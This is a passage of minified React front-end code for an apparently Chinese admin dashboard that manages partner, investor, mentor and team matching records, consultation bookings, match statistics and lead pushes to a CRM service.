h-4"})})]})})]},D.id))})]})})]}),s.jsx(Dt,{open:c,onOpenChange:u,children:s.jsxs(At,{className:"bg-[#0f2137] border-gray-700 text-white max-w-lg",showCloseButton:!0,children:[s.jsx(Lt,{children:s.jsxs(_t,{className:"text-white flex items-center gap-2",children:[h?s.jsx(Wt,{className:"w-5 h-5 text-[#38bdac]"}):s.jsx(hn,{className:"w-5 h-5 text-[#38bdac]"}),h?"编辑匹配类型":"添加匹配类型"]})}),s.jsxs("div",{className:"space-y-4 py-4",children:[s.jsxs("div",{className:"grid grid-cols-2 gap-4",children:[s.jsxs("div",{className:"space-y-2",children:[s.jsx(X,{className:"text-gray-300",children:"类型ID(英文)"}),s.jsx(se,{className:"bg-[#0a1628] border-gray-700 text-white",placeholder:"如: partner",value:m.id,onChange:D=>g({...m,id:D.target.value}),disabled:!!h})]}),s.jsxs("div",{className:"space-y-2",children:[s.jsx(X,{className:"text-gray-300",children:"图标"}),s.jsx("div",{className:"flex gap-1 flex-wrap",children:AV.map(D=>s.jsx("button",{type:"button",className:`w-8 h-8 text-lg rounded ${m.icon===D?"bg-[#38bdac]/30 ring-1 ring-[#38bdac]":"bg-[#0a1628]"}`,onClick:()=>g({...m,icon:D}),children:D},D))})]})]}),s.jsxs("div",{className:"grid grid-cols-2 gap-4",children:[s.jsxs("div",{className:"space-y-2",children:[s.jsx(X,{className:"text-gray-300",children:"显示名称"}),s.jsx(se,{className:"bg-[#0a1628] border-gray-700 text-white",placeholder:"如: 超级个体",value:m.label,onChange:D=>g({...m,label:D.target.value})})]}),s.jsxs("div",{className:"space-y-2",children:[s.jsx(X,{className:"text-gray-300",children:"匹配标签"}),s.jsx(se,{className:"bg-[#0a1628] border-gray-700 text-white",placeholder:"如: 超级个体",value:m.matchLabel,onChange:D=>g({...m,matchLabel:D.target.value})})]})]}),s.jsxs("div",{className:"space-y-2",children:[s.jsx(X,{className:"text-gray-300",children:"单次匹配价格(元)"}),s.jsx(se,{type:"number",min:.01,step:.01,className:"bg-[#0a1628] border-gray-700 text-white",value:m.price,onChange:D=>g({...m,price:parseFloat(D.target.value)||1})})]}),s.jsxs("div",{className:"flex gap-6 pt-2",children:[s.jsxs("div",{className:"flex items-center gap-3",children:[s.jsx(kt,{checked:m.matchFromDB,onCheckedChange:D=>g({...m,matchFromDB:D})}),s.jsx(X,{className:"text-gray-300 text-sm",children:"从数据库匹配"})]}),s.jsxs("div",{className:"flex items-center gap-3",children:[s.jsx(kt,{checked:m.showJoinAfterMatch,onCheckedChange:D=>g({...m,showJoinAfterMatch:D})}),s.jsx(X,{className:"text-gray-300 text-sm",children:"匹配后显示加入"})]}),s.jsxs("div",{className:"flex items-center gap-3",children:[s.jsx(kt,{checked:m.enabled,onCheckedChange:D=>g({...m,enabled:D})}),s.jsx(X,{className:"text-gray-300 text-sm",children:"启用"})]})]})]}),s.jsxs(on,{children:[s.jsx(te,{variant:"outline",onClick:()=>u(!1),className:"border-gray-600 text-gray-300 hover:bg-gray-700/50 bg-transparent",children:"取消"}),s.jsxs(te,{onClick:O,className:"bg-[#38bdac] hover:bg-[#2da396] text-white",children:[s.jsx(bn,{className:"w-4 h-4 mr-2"})," 保存"]})]})]})})]})}const Cw={partner:"找伙伴",investor:"资源对接",mentor:"导师顾问",team:"团队招募"};function RV(){const[t,e]=b.useState([]),[n,r]=b.useState(0),[a,i]=b.useState(1),[o,c]=b.useState(10),[u,h]=b.useState(""),[f,m]=b.useState(!0),[g,y]=b.useState(null),[N,w]=b.useState(null);async function v(){m(!0),y(null);try{const E=new URLSearchParams({page:String(a),pageSize:String(o)});u&&E.set("matchType",u);const T=await De(`/api/db/match-records?${E}`);T!=null&&T.success?(e(T.records||[]),r(T.total??0)):y("加载匹配记录失败")}catch{y("加载失败,请检查网络后重试")}finally{m(!1)}}b.useEffect(()=>{v()},[a,u]);const k=Math.ceil(n/o)||1,C=({userId:E,nickname:T,avatar:I})=>s.jsxs("div",{className:"flex items-center gap-3 cursor-pointer group",onClick:()=>w(E),children:[s.jsxs("div",{className:"w-9 h-9 rounded-full bg-[#38bdac]/20 flex items-center justify-center text-sm font-medium text-[#38bdac] flex-shrink-0 overflow-hidden",children:[I?s.jsx("img",{src:I,alt:"",className:"w-full h-full object-cover",onError:O=>{O.currentTarget.style.display="none"}}):null,s.jsx("span",{className:I?"hidden":"",children:(T||E||"?").charAt(0)})]}),s.jsxs("div",{children:[s.jsx("div",{className:"text-white group-hover:text-[#38bdac] transition-colors",children:T||E}),s.jsxs("div",{className:"text-xs text-gray-500 font-mono",children:[E==null?void 0:E.slice(0,16),(E==null?void 0:E.length)>16?"...":""]})]})]});return s.jsxs("div",{children:[g&&s.jsxs("div",{className:"mb-4 px-4 py-3 rounded-lg bg-red-500/20 border border-red-500/50 text-red-400 text-sm flex items-center justify-between",children:[s.jsx("span",{children:g}),s.jsx("button",{type:"button",onClick:()=>y(null),className:"hover:text-red-300",children:"×"})]}),s.jsxs("div",{className:"flex justify-between items-center mb-4",children:[s.jsxs("p",{className:"text-gray-400",children:["共 ",n," 条匹配记录 · 点击用户名查看详情"]}),s.jsxs("div",{className:"flex items-center gap-4",children:[s.jsxs("select",{value:u,onChange:E=>{h(E.target.value),i(1)},className:"bg-[#0f2137] border border-gray-700 text-white rounded-lg px-3 py-2 text-sm",children:[s.jsx("option",{value:"",children:"全部类型"}),Object.entries(Cw).map(([E,T])=>s.jsx("option",{value:E,children:T},E))]}),s.jsxs("button",{type:"button",onClick:v,disabled:f,className:"flex items-center gap-2 px-4 py-2 rounded-lg border border-gray-600 text-gray-300 hover:bg-gray-700/50 transition-colors disabled:opacity-50",children:[s.jsx(Ke,{className:`w-4 h-4 ${f?"animate-spin":""}`})," 刷新"]})]})]}),s.jsx(Ce,{className:"bg-[#0f2137] border-gray-700/50 shadow-xl",children:s.jsx(Ee,{className:"p-0",children:f?s.jsxs("div",{className:"flex justify-center py-12",children:[s.jsx(Ke,{className:"w-6 h-6 text-[#38bdac] animate-spin"}),s.jsx("span",{className:"ml-2 text-gray-400",children:"加载中..."})]}):s.jsxs(s.Fragment,{children:[s.jsxs(lr,{children:[s.jsx(cr,{children:s.jsxs(it,{className:"bg-[#0a1628] hover:bg-[#0a1628] border-gray-700",children:[s.jsx(ke,{className:"text-gray-400",children:"发起人"}),s.jsx(ke,{className:"text-gray-400",children:"匹配到"}),s.jsx(ke,{className:"text-gray-400",children:"类型"}),s.jsx(ke,{className:"text-gray-400",children:"联系方式"}),s.jsx(ke,{className:"text-gray-400",children:"匹配时间"})]})}),s.jsxs(dr,{children:[t.map(E=>s.jsxs(it,{className:"hover:bg-[#0a1628] border-gray-700/50",children:[s.jsx(ve,{children:s.jsx(C,{userId:E.userId,nickname:E.userNickname,avatar:E.userAvatar})}),s.jsx(ve,{children:E.matchedUserId?s.jsx(C,{userId:E.matchedUserId,nickname:E.matchedNickname,avatar:E.matchedUserAvatar}):s.jsx("span",{className:"text-gray-500",children:"—"})}),s.jsx(ve,{children:s.jsx(qe,{className:"bg-[#38bdac]/20 text-[#38bdac] border-0",children:Cw[E.matchType]||E.matchType})}),s.jsxs(ve,{className:"text-sm",children:[E.phone&&s.jsxs("div",{className:"text-green-400",children:["📱 ",E.phone]}),E.wechatId&&s.jsxs("div",{className:"text-blue-400",children:["💬 ",E.wechatId]}),!E.phone&&!E.wechatId&&s.jsx("span",{className:"text-gray-600",children:"-"})]}),s.jsx(ve,{className:"text-gray-400",children:E.createdAt?new Date(E.createdAt).toLocaleString():"-"})]},E.id)),t.length===0&&s.jsx(it,{children:s.jsx(ve,{colSpan:5,className:"text-center py-12 text-gray-500",children:"暂无匹配记录"})})]})]}),s.jsx(is,{page:a,totalPages:k,total:n,pageSize:o,onPageChange:i,onPageSizeChange:E=>{c(E),i(1)}})]})})}),s.jsx(n0,{open:!!N,onClose:()=>w(null),userId:N,onUserUpdated:v})]})}function PV(){const[t,e]=b.useState("records");return s.jsxs("div",{className:"space-y-4",children:[s.jsxs("div",{className:"flex gap-2",children:[s.jsx("button",{type:"button",onClick:()=>e("records"),className:`px-4 py-2 rounded-lg text-sm font-medium transition-all ${t==="records"?"bg-[#38bdac]/20 text-[#38bdac] border border-[#38bdac]/50":"bg-[#0a1628] text-gray-400 border border-gray-700 hover:text-white"}`,children:"匹配记录"}),s.jsx("button",{type:"button",onClick:()=>e("pool"),className:`px-4 py-2 rounded-lg text-sm font-medium transition-all ${t==="pool"?"bg-[#38bdac]/20 text-[#38bdac] border border-[#38bdac]/50":"bg-[#0a1628] text-gray-400 border border-gray-700 hover:text-white"}`,children:"匹配池设置"})]}),t==="records"&&s.jsx(RV,{}),t==="pool"&&s.jsx(IV,{})]})}const Ew={investor:"资源对接",mentor:"导师顾问",team:"团队招募"};function OV(){const[t,e]=b.useState([]),[n,r]=b.useState(0),[a,i]=b.useState(1),[o,c]=b.useState(10),[u,h]=b.useState(!0),[f,m]=b.useState("investor"),[g,y]=b.useState(null);async function N(){h(!0);try{const C=new URLSearchParams({page:String(a),pageSize:String(o),matchType:f}),E=await De(`/api/db/match-records?${C}`);E!=null&&E.success&&(e(E.records||[]),r(E.total??0))}catch(C){console.error(C)}finally{h(!1)}}b.useEffect(()=>{N()},[a,f]);const w=async C=>{if(!C.phone&&!C.wechatId){ie.info("该记录无联系方式,无法推送到存客宝");return}y(C.id);try{const E=await vt("/api/ckb/join",{type:C.matchType||"investor",phone:C.phone||"",wechat:C.wechatId||"",userId:C.userId,name:C.userNickname||""});ie.error((E==null?void 0:E.message)||(E!=null&&E.success?"推送成功":"推送失败"))}catch(E){ie.error("推送失败: "+(E instanceof Error?E.message:"网络错误"))}finally{y(null)}},v=Math.ceil(n/o)||1,k=C=>!!(C.phone||C.wechatId);return s.jsxs("div",{children:[s.jsxs("div",{className:"flex justify-between items-center mb-4",children:[s.jsxs("div",{children:[s.jsx("p",{className:"text-gray-400",children:"点击获客:有人填写手机号/微信号的直接显示,可一键推送到存客宝"}),s.jsxs("p",{className:"text-gray-500 text-xs mt-1",children:["共 ",n," 条记录 — 有联系方式的可触发存客宝添加好友"]})]}),s.jsxs("div",{className:"flex items-center gap-2",children:[s.jsx("select",{value:f,onChange:C=>{m(C.target.value),i(1)},className:"bg-[#0f2137] border border-gray-700 text-white rounded-lg px-3 py-2 text-sm",children:Object.entries(Ew).map(([C,E])=>s.jsx("option",{value:C,children:E},C))}),s.jsxs(te,{onClick:N,disabled:u,variant:"outline",className:"border-gray-600 text-gray-300 hover:bg-gray-700/50 bg-transparent",children:[s.jsx(Ke,{className:`w-4 h-4 mr-2 ${u?"animate-spin":""}`})," 刷新"]})]})]}),s.jsx(Ce,{className:"bg-[#0f2137] border-gray-700/50 shadow-xl",children:s.jsx(Ee,{className:"p-0",children:u?s.jsxs("div",{className:"flex justify-center py-12",children:[s.jsx(Ke,{className:"w-6 h-6 text-[#38bdac] animate-spin"}),s.jsx("span",{className:"ml-2 text-gray-400",children:"加载中..."})]}):s.jsxs(s.Fragment,{children:[s.jsxs(lr,{children:[s.jsx(cr,{children:s.jsxs(it,{className:"bg-[#0a1628] hover:bg-[#0a1628] border-gray-700",children:[s.jsx(ke,{className:"text-gray-400",children:"发起人"}),s.jsx(ke,{className:"text-gray-400",children:"匹配到"}),s.jsx(ke,{className:"text-gray-400",children:"类型"}),s.jsx(ke,{className:"text-gray-400",children:"联系方式"}),s.jsx(ke,{className:"text-gray-400",children:"时间"}),s.jsx(ke,{className:"text-gray-400 text-right",children:"操作"})]})}),s.jsxs(dr,{children:[t.map(C=>{var E,T;return s.jsxs(it,{className:`border-gray-700/50 ${k(C)?"hover:bg-[#0a1628]":"opacity-60"}`,children:[s.jsx(ve,{className:"text-white",children:C.userNickname||((E=C.userId)==null?void 0:E.slice(0,12))}),s.jsx(ve,{className:"text-white",children:C.matchedNickname||((T=C.matchedUserId)==null?void 0:T.slice(0,12))}),s.jsx(ve,{children:s.jsx(qe,{className:"bg-[#38bdac]/20 text-[#38bdac] border-0",children:Ew[C.matchType]||C.matchType})}),s.jsxs(ve,{className:"text-sm",children:[C.phone&&s.jsxs("div",{className:"text-green-400",children:["📱 ",C.phone]}),C.wechatId&&s.jsxs("div",{className:"text-blue-400",children:["💬 ",C.wechatId]}),!C.phone&&!C.wechatId&&s.jsx("span",{className:"text-gray-600",children:"无联系方式"})]}),s.jsx(ve,{className:"text-gray-400 text-sm",children:C.createdAt?new Date(C.createdAt).toLocaleString():"-"}),s.jsx(ve,{className:"text-right",children:k(C)?s.jsxs(te,{size:"sm",onClick:()=>w(C),disabled:g===C.id,className:"bg-[#38bdac] hover:bg-[#2da396] text-white text-xs h-7 px-3",children:[s.jsx(TA,{className:"w-3 h-3 mr-1"}),g===C.id?"推送中...":"推送CKB"]}):s.jsx("span",{className:"text-gray-600 text-xs",children:"—"})})]},C.id)}),t.length===0&&s.jsx(it,{children:s.jsx(ve,{colSpan:6,className:"text-center py-12 text-gray-500",children:"暂无记录"})})]})]}),s.jsx(is,{page:a,totalPages:v,total:n,pageSize:o,onPageChange:i,onPageSizeChange:C=>{c(C),i(1)}})]})})})]})}const Tw={created:"已创建",pending_pay:"待支付",paid:"已支付",completed:"已完成",cancelled:"已取消"},DV={single:"单次",half_year:"半年",year:"年度"};function LV(){const[t,e]=b.useState([]),[n,r]=b.useState(!0),[a,i]=b.useState("");async function o(){r(!0);try{const c=a?`/api/db/mentor-consultations?status=${a}`:"/api/db/mentor-consultations",u=await De(c);u!=null&&u.success&&u.data&&e(u.data)}catch(c){console.error(c)}finally{r(!1)}}return b.useEffect(()=>{o()},[a]),s.jsxs("div",{children:[s.jsxs("div",{className:"flex justify-between items-center mb-4",children:[s.jsx("p",{className:"text-gray-400",children:"导师咨询预约记录"}),s.jsxs("div",{className:"flex items-center gap-2",children:[s.jsxs("select",{value:a,onChange:c=>i(c.target.value),className:"bg-[#0f2137] border border-gray-700 rounded-lg px-3 py-2 text-gray-300 text-sm",children:[s.jsx("option",{value:"",children:"全部状态"}),Object.entries(Tw).map(([c,u])=>s.jsx("option",{value:c,children:u},c))]}),s.jsxs(te,{onClick:o,disabled:n,variant:"outline",className:"border-gray-600 text-gray-300 hover:bg-gray-700/50 bg-transparent",children:[s.jsx(Ke,{className:`w-4 h-4 mr-2 ${n?"animate-spin":""}`})," 刷新"]})]})]}),s.jsx(Ce,{className:"bg-[#0f2137] border-gray-700/50",children:s.jsx(Ee,{className:"p-0",children:n?s.jsx("div",{className:"py-12 text-center text-gray-400",children:"加载中..."}):s.jsxs(lr,{children:[s.jsx(cr,{children:s.jsxs(it,{className:"bg-[#0a1628] border-gray-700",children:[s.jsx(ke,{className:"text-gray-400",children:"ID"}),s.jsx(ke,{className:"text-gray-400",children:"用户ID"}),s.jsx(ke,{className:"text-gray-400",children:"导师ID"}),s.jsx(ke,{className:"text-gray-400",children:"类型"}),s.jsx(ke,{className:"text-gray-400",children:"金额"}),s.jsx(ke,{className:"text-gray-400",children:"状态"}),s.jsx(ke,{className:"text-gray-400",children:"创建时间"})]})}),s.jsxs(dr,{children:[t.map(c=>s.jsxs(it,{className:"border-gray-700/50",children:[s.jsx(ve,{className:"text-gray-300",children:c.id}),s.jsx(ve,{className:"text-gray-400",children:c.userId}),s.jsx(ve,{className:"text-gray-400",children:c.mentorId}),s.jsx(ve,{className:"text-gray-400",children:DV[c.consultationType]||c.consultationType}),s.jsxs(ve,{className:"text-white",children:["¥",c.amount]}),s.jsx(ve,{className:"text-gray-400",children:Tw[c.status]||c.status}),s.jsx(ve,{className:"text-gray-500 text-sm",children:c.createdAt?new Date(c.createdAt).toLocaleString():"-"})]},c.id)),t.length===0&&s.jsx(it,{children:s.jsx(ve,{colSpan:7,className:"text-center py-12 text-gray-500",children:"暂无预约记录"})})]})]})})})]})}function _V(){const[t,e]=b.useState("booking");return s.jsxs("div",{className:"space-y-4",children:[s.jsxs("div",{className:"flex gap-2",children:[s.jsx("button",{type:"button",onClick:()=>e("booking"),className:`px-4 py-2 rounded-lg text-sm font-medium transition-all ${t==="booking"?"bg-[#38bdac]/20 text-[#38bdac] border border-[#38bdac]/50":"bg-[#0a1628] text-gray-400 border border-gray-700 hover:text-white"}`,children:"预约记录"}),s.jsx("button",{type:"button",onClick:()=>e("manage"),className:`px-4 py-2 rounded-lg text-sm font-medium transition-all ${t==="manage"?"bg-[#38bdac]/20 text-[#38bdac] border border-[#38bdac]/50":"bg-[#0a1628] text-gray-400 border border-gray-700 hover:text-white"}`,children:"导师管理"})]}),t==="booking"&&s.jsx(LV,{}),t==="manage"&&s.jsx("div",{className:"-mx-8",children:s.jsx(B4,{embedded:!0})})]})}function zV(){const[t,e]=b.useState([]),[n,r]=b.useState(0),[a,i]=b.useState(1),[o,c]=b.useState(10),[u,h]=b.useState(!0);async function f(){h(!0);try{const g=new URLSearchParams({page:String(a),pageSize:String(o),matchType:"team"}),y=await De(`/api/db/match-records?${g}`);y!=null&&y.success&&(e(y.records||[]),r(y.total??0))}catch(g){console.error(g)}finally{h(!1)}}b.useEffect(()=>{f()},[a]);const m=Math.ceil(n/o)||1;return s.jsxs("div",{children:[s.jsxs("div",{className:"flex justify-between items-center mb-4",children:[s.jsxs("div",{children:[s.jsxs("p",{className:"text-gray-400",children:["团队招募匹配记录,共 ",n," 条"]}),s.jsx("p",{className:"text-gray-500 text-xs mt-1",children:"用户通过「团队招募」提交联系方式到存客宝"})]}),s.jsxs("button",{type:"button",onClick:f,disabled:u,className:"flex items-center gap-2 px-4 py-2 rounded-lg border border-gray-600 text-gray-300 hover:bg-gray-700/50 transition-colors disabled:opacity-50",children:[s.jsx(Ke,{className:`w-4 h-4 ${u?"animate-spin":""}`})," 刷新"]})]}),s.jsx(Ce,{className:"bg-[#0f2137] border-gray-700/50 shadow-xl",children:s.jsx(Ee,{className:"p-0",children:u?s.jsxs("div",{className:"flex justify-center py-12",children:[s.jsx(Ke,{className:"w-6 h-6 text-[#38bdac] animate-spin"}),s.jsx("span",{className:"ml-2 text-gray-400",children:"加载中..."})]}):s.jsxs(s.Fragment,{children:[s.jsxs(lr,{children:[s.jsx(cr,{children:s.jsxs(it,{className:"bg-[#0a1628] hover:bg-[#0a1628] border-gray-700",children:[s.jsx(ke,{className:"text-gray-400",children:"发起人"}),s.jsx(ke,{className:"text-gray-400",children:"匹配到"}),s.jsx(ke,{className:"text-gray-400",children:"联系方式"}),s.jsx(ke,{className:"text-gray-400",children:"时间"})]})}),s.jsxs(dr,{children:[t.map(g=>s.jsxs(it,{className:"hover:bg-[#0a1628] border-gray-700/50",children:[s.jsx(ve,{className:"text-white",children:g.userNickname||g.userId}),s.jsx(ve,{className:"text-white",children:g.matchedNickname||g.matchedUserId}),s.jsxs(ve,{className:"text-gray-400 text-sm",children:[g.phone&&s.jsxs("div",{children:["📱 ",g.phone]}),g.wechatId&&s.jsxs("div",{children:["💬 ",g.wechatId]}),!g.phone&&!g.wechatId&&"-"]}),s.jsx(ve,{className:"text-gray-400",children:g.createdAt?new Date(g.createdAt).toLocaleString():"-"})]},g.id)),t.length===0&&s.jsx(it,{children:s.jsx(ve,{colSpan:4,className:"text-center py-12 text-gray-500",children:"暂无团队招募记录"})})]})]}),s.jsx(is,{page:a,totalPages:m,total:n,pageSize:o,onPageChange:i,onPageSizeChange:g=>{c(g),i(1)}})]})})})]})}const Mw={partner:"找伙伴",investor:"资源对接",mentor:"导师顾问",team:"团队招募"},Aw={partner:"⭐",investor:"👥",mentor:"❤️",team:"🎮"};function $V({onSwitchTab:t,onOpenCKB:e}={}){const n=Ci(),[r,a]=b.useState(null),[i,o]=b.useState(null),[c,u]=b.useState(!0),h=b.useCallback(async()=>{var m,g;u(!0);try{const[y,N]=await Promise.allSettled([De("/api/db/match-records?stats=true"),De("/api/db/ckb-plan-stats")]);if(y.status==="fulfilled"&&((m=y.value)!=null&&m.success)&&y.value.data){let w=y.value.data;if(w.totalMatches>0&&(!w.uniqueUsers||w.uniqueUsers===0))try{const v=await De("/api/db/match-records?page=1&pageSize=200");if(v!=null&&v.success&&v.records){const k=new Set(v.records.map(C=>C.userId).filter(Boolean));w={...w,uniqueUsers:k.size}}}catch{}a(w)}N.status==="fulfilled"&&((g=N.value)!=null&&g.success)&&N.value.data&&o(N.value.data)}catch(y){console.error("加载统计失败:",y)}finally{u(!1)}},[]);b.useEffect(()=>{h()},[h]);const f=m=>c?"—":String(m??0);return s.jsxs("div",{className:"space-y-8",children:[s.jsxs("div",{children:[s.jsxs("h3",{className:"text-lg font-semibold text-white mb-4 flex items-center gap-2",children:[s.jsx(Zn,{className:"w-5 h-5 text-[#38bdac]"})," 找伙伴数据"]}),s.jsxs("div",{className:"grid grid-cols-2 lg:grid-cols-3 gap-5",children:[s.jsx(Ce,{className:"bg-gradient-to-br from-[#0f2137] to-[#162d4a] border-gray-700/40 cursor-pointer hover:border-[#38bdac]/60 transition-all",onClick:()=>t==null?void 0:t("partner"),children:s.jsxs(Ee,{className:"p-6",children:[s.jsx("p",{className:"text-gray-400 text-sm mb-2",children:"总匹配次数"}),s.jsx("p",{className:"text-4xl font-bold text-white",children:f(r==null?void 0:r.totalMatches)}),s.jsxs("p",{className:"text-[#38bdac] text-xs mt-3 flex items-center gap-1",children:[s.jsx(Us,{className:"w-3 h-3"})," 查看匹配记录"]})]})}),s.jsx(Ce,{className:"bg-gradient-to-br from-[#0f2137] to-[#162d4a] border-gray-700/40 cursor-pointer hover:border-yellow-500/60 transition-all",onClick:()=>t==null?void 0:t("partner"),children:s.jsxs(Ee,{className:"p-6",children:[s.jsx("p",{className:"text-gray-400 text-sm mb-2",children:"今日匹配"}),s.jsx("p",{className:"text-4xl font-bold text-white",children:f(r==null?void 0:r.todayMatches)}),s.jsxs("p",{className:"text-yellow-400/60 text-xs mt-3 flex items-center gap-1",children:[s.jsx(li,{className:"w-3 h-3"})," 今日实时"]})]})}),s.jsx(Ce,{className:"bg-gradient-to-br from-[#0f2137] to-[#162d4a] border-gray-700/40 cursor-pointer hover:border-blue-500/60 transition-all",onClick:()=>n("/users"),children:s.jsxs(Ee,{className:"p-6",children:[s.jsx("p",{className:"text-gray-400 text-sm mb-2",children:"匹配用户数"}),s.jsx("p",{className:"text-4xl font-bold text-white",children:f(r==null?void 0:r.uniqueUsers)}),s.jsxs("p",{className:"text-blue-400/60 text-xs mt-3 flex items-center gap-1",children:[s.jsx(Us,{className:"w-3 h-3"})," 查看用户管理"]})]})}),s.jsx(Ce,{className:"bg-[#0f2137] border-gray-700/40",children:s.jsxs(Ee,{className:"p-6",children:[s.jsx("p",{className:"text-gray-400 text-sm mb-2",children:"人均匹配"}),s.jsx("p",{className:"text-3xl font-bold text-white",children:c?"—":r!=null&&r.uniqueUsers?(r.totalMatches/r.uniqueUsers).toFixed(1):"0"})]})}),s.jsx(Ce,{className:"bg-[#0f2137] border-gray-700/40",children:s.jsxs(Ee,{className:"p-6",children:[s.jsx("p",{className:"text-gray-400 text-sm mb-2",children:"付费匹配次数"}),s.jsx("p",{className:"text-3xl font-bold text-white",children:f(r==null?void 0:r.paidMatchCount)})]})})]})]}),(r==null?void 0:r.byType)&&r.byType.length>0&&s.jsxs("div",{children:[s.jsx("h3",{className:"text-lg font-semibold text-white mb-4",children:"各类型匹配分布"}),s.jsx("div",{className:"grid grid-cols-2 lg:grid-cols-4 gap-4",children:r.byType.map(m=>{const g=r.totalMatches>0?m.count/r.totalMatches*100:0;return s.jsxs("div",{className:"bg-[#0f2137] border border-gray-700/40 rounded-xl p-5",children:[s.jsxs("div",{className:"flex items-center gap-2 mb-3",children:[s.jsx("span",{className:"text-2xl",children:Aw[m.matchType]||"📊"}),s.jsx("span",{className:"text-gray-300 font-medium",children:Mw[m.matchType]||m.matchType})]}),s.jsx("p",{className:"text-3xl font-bold text-white mb-2",children:m.count}),s.jsx("div",{className:"w-full h-2 bg-gray-700/50 rounded-full overflow-hidden",children:s.jsx("div",{className:"h-full bg-[#38bdac] rounded-full transition-all",style:{width:`${Math.min(g,100)}%`}})}),s.jsxs("p",{className:"text-gray-500 text-xs mt-1.5",children:[g.toFixed(1),"%"]})]},m.matchType)})})]}),s.jsxs("div",{children:[s.jsxs("h3",{className:"text-lg font-semibold text-white mb-4 flex items-center gap-2",children:[s.jsx(Ss,{className:"w-5 h-5 text-orange-400"})," AI 获客数据"]}),s.jsxs("div",{className:"grid grid-cols-2 lg:grid-cols-3 gap-5 mb-6",children:[s.jsx(Ce,{className:"bg-[#0f2137] border-orange-500/20 cursor-pointer hover:border-orange-500/50 transition-colors",onClick:()=>e==null?void 0:e("submitted"),children:s.jsxs(Ee,{className:"p-6",children:[s.jsx("p",{className:"text-gray-400 text-sm mb-2",children:"已提交线索"}),s.jsx("p",{className:"text-3xl font-bold text-white",children:c?"—":(i==null?void 0:i.ckbTotal)??0}),s.jsx("p",{className:"text-orange-400/60 text-xs mt-2",children:"点击查看明细 →"})]})}),s.jsx(Ce,{className:"bg-[#0f2137] border-orange-500/20 cursor-pointer hover:border-orange-500/50 transition-colors",onClick:()=>e==null?void 0:e("contact"),children:s.jsxs(Ee,{className:"p-6",children:[s.jsx("p",{className:"text-gray-400 text-sm mb-2",children:"有联系方式"}),s.jsx("p",{className:"text-3xl font-bold text-white",children:c?"—":(i==null?void 0:i.withContact)??0}),s.jsx("p",{className:"text-orange-400/60 text-xs mt-2",children:"点击查看明细 →"})]})}),s.jsx(Ce,{className:"bg-[#0f2137] border-orange-500/20 cursor-pointer hover:border-orange-500/50 transition-colors",onClick:()=>e==null?void 0:e("test"),children:s.jsxs(Ee,{className:"p-6",children:[s.jsx("p",{className:"text-gray-400 text-sm mb-2",children:"AI 添加进度"}),s.jsx("p",{className:"text-xl font-bold text-orange-400",children:"查看详情 →"}),s.jsx("p",{className:"text-gray-500 text-xs mt-2",children:"添加成功率 · 回复率 · API 文档"})]})})]}),(i==null?void 0:i.byType)&&i.byType.length>0&&s.jsx("div",{className:"grid grid-cols-2 lg:grid-cols-4 gap-3 mb-6",children:i.byType.map(m=>s.jsxs("div",{className:"bg-[#0a1628] border border-gray-700/30 rounded-lg p-4 flex items-center gap-3",children:[s.jsx("span",{className:"text-xl",children:Aw[m.matchType]||"📋"}),s.jsxs("div",{children:[s.jsx("p",{className:"text-gray-400 text-xs",children:Mw[m.matchType]||m.matchType}),s.jsx("p",{className:"text-xl font-bold text-white",children:m.total})]})]},m.matchType))})]})]})}const FV=["partner","investor","mentor","team"],wg=[{key:"join_partner",label:"找伙伴场景"},{key:"join_investor",label:"资源对接场景"},{key:"join_mentor",label:"导师顾问场景"},{key:"join_team",label:"团队招募场景"},{key:"match",label:"匹配上报"},{key:"lead",label:"链接卡若"}],Iw=`# 场景获客接口摘要 +`).filter(Boolean).length," 个"]})]}),s.jsxs(te,{onClick:f,className:"w-full bg-[#38bdac] hover:bg-[#2da396] text-white",children:[s.jsx(uh,{className:"w-4 h-4 mr-2"}),"保存多群配置"]})]})]})]}),s.jsxs("div",{className:"mt-6 bg-[#0f2137] rounded-xl p-4 border border-gray-700/50",children:[s.jsx("h4",{className:"text-white font-medium mb-3",children:"常见问题"}),s.jsxs("div",{className:"space-y-3 text-sm",children:[s.jsxs("div",{children:[s.jsx("p",{className:"text-[#38bdac]",children:"Q: 为什么推荐使用草料活码?"}),s.jsx("p",{className:"text-gray-400",children:"A: 草料活码是永久链接,群满后可直接在后台更换新群码,无需修改网站配置。微信原生群码7天失效。"})]}),s.jsxs("div",{children:[s.jsx("p",{className:"text-[#38bdac]",children:"Q: 支付后没有跳转怎么办?"}),s.jsx("p",{className:"text-gray-400",children:"A: 1) 检查链接是否正确填写 2) 部分浏览器可能拦截弹窗,用户需手动允许 3) 建议使用https开头的链接"})]})]})]})]})}const jw={matchTypes:[{id:"partner",label:"创业合伙",matchLabel:"创业伙伴",icon:"⭐",matchFromDB:!0,showJoinAfterMatch:!1,price:1,enabled:!0},{id:"investor",label:"资源对接",matchLabel:"资源对接",icon:"👥",matchFromDB:!1,showJoinAfterMatch:!0,price:1,enabled:!0},{id:"mentor",label:"导师顾问",matchLabel:"导师顾问",icon:"❤️",matchFromDB:!1,showJoinAfterMatch:!0,price:1,enabled:!0},{id:"team",label:"团队招募",matchLabel:"加入项目",icon:"🎮",matchFromDB:!1,showJoinAfterMatch:!0,price:1,enabled:!0}],freeMatchLimit:3,matchPrice:1,settings:{enableFreeMatches:!0,enablePaidMatches:!0,maxMatchesPerDay:10}},SV=["⭐","👥","❤️","🎮","💼","🚀","💡","🎯","🔥","✨"];function CV(){const[t,e]=b.useState(jw),[n,r]=b.useState(!0),[a,i]=b.useState(!1),[o,c]=b.useState(!1),[u,h]=b.useState(null),[f,m]=b.useState({id:"",label:"",matchLabel:"",icon:"⭐",matchFromDB:!1,showJoinAfterMatch:!0,price:1,enabled:!0}),g=async()=>{r(!0);try{const E=await De("/api/db/config/full?key=match_config"),T=(E==null?void 0:E.data)??(E==null?void 0:E.config);T&&e({...jw,...T})}catch(E){console.error("加载匹配配置失败:",E)}finally{r(!1)}};b.useEffect(()=>{g()},[]);const y=async()=>{i(!0);try{const E=await vt("/api/db/config",{key:"match_config",value:t,description:"匹配功能配置"});E&&E.success!==!1?ie.success("配置保存成功!"):ie.error("保存失败: "+(E&&typeof E=="object"&&"error"in 